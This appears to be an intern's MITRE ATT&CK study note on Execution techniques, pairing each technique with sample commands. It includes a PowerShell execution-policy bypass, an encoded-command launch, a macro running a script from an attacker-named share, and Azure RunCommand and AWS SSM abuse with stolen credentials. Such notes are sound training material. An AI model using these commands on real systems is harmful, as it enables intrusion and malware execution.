Name-Chirantan Sawant

Intern ID-286

🎯 TACTIC: Execution (TA0002)

Goal: Enable the adversary to run malicious code on a compromised system.

🧪 TECHNIQUE 1: T1059 – Command and Scripting Interpreter

> Adversaries use command-line interfaces or script interpreters (e.g., PowerShell, Bash) to execute malicious payloads.

🔧 Procedures:

1. **PowerShell Download & Execute**

   Step 1: Attacker hosts `payload.ps1` on their server.
   Step 2: Victim executes:

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\chira> powershell.exe -NoProfile -ExecutionPolicy Bypass -File payload.ps1
```

2. **Remote Shell via Encoded Script**

   Step 1: Attacker encodes a payload in Base64.
   Step 2: Victim runs:

```
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\chira> powershell.exe -EncodedCommand <Base64String>
```

🧪 TECHNIQUE 2: T1204.002 – User Execution: Malicious File

Adversaries trick users into running malicious files, such as Office docs with macros.

🔧 Procedures:

1. **Malicious Office Macro**

Step 1: Attacker embeds macro in a `.docx` file that runs PowerShell.
Step 2: User is tricked into enabling macros, executing:

```
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\chira> Shell("powershell.exe -File \\attacker\payload.ps1")
```

2. **Email + PDF Exploit**

Step 1: Attacker crafts a PDF with an embedded exploit.
Step 2: The file is emailed with a subject like: *"Salary Slip – URGENT"*.

🧪 TECHNIQUE 3: T1651 – Cloud Administration Command

Use legitimate cloud admin tools (like Azure RunCommand or AWS SSM) to run malicious code on VMs.

🔧 Procedures:

1. **Azure RunCommand Abuse**

Step 1: Attacker logs in using stolen Azure credentials.
Step 2: Executes:

```
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\chira> az vm run-command invoke --command-id RunPowerShellScript --scripts "Start-Process malware.exe"
```

2. **AWS Systems Manager Abuse**

Step 1: Uses AWS CLI and stolen admin tokens.
Step 2: Runs:

```
PS C:\Users\chira> ^C
PS C:\Users\chira> aws ssm send-command --document-name "AWS-RunPowerShellScript" --parameters "commands=[...payload]"
```